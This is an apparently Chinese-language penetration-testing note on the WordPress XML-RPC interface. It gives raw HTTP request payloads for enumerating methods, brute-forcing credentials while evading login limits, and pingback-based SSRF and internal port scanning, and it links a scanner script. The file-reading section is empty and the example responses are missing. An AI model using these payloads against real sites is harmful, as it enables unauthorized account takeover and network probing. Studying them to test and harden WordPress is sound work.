WordPress采用了XML-RPC接口.并且通過內置函數WordPress API實現了該接口內容。 所以,你可要通過客戶端來管理Wordpress。 通過使用WordPress XML-RPC, 你可以使用業界流行博客客戶端Weblog Clients來發布你的WordPress日志和頁面。同時,XML-RPC 也可使用extended by WordPress Plugins插件來自定義你的規則。
0X01 激活XML-RPC
從3.5版本開始,XML-RPC功能默認開啟。 早些版本,可通過如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.
0x02 查看系統允許的方法
POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
0x03 賬號爆破
一般情況下,wordpress的管理后臺都會設置賬號登錄失敗次數限制,因此,可以通過xmlprc.php接口來進行爆破。通常會使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs這個方法來進行爆破,也可以使用其他的方法。
構造請求包:
POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
爆破成功會返回博客的內容:
0x03 SSRF
WordPress 版本< 3.5.1
通過Pingback可以實現的服務器端請求偽造 (Server-side request forgery,SSRF)和遠程端口掃描。
構造請求包:
POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探測的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>網站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
IP和端口存在,返回包中的<value><int>中的值大于0:
利用腳本:
https://github.com/FireFart/WordpressPingbackPortScanner
0x04 讀取文件:
0x99 參考:
https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html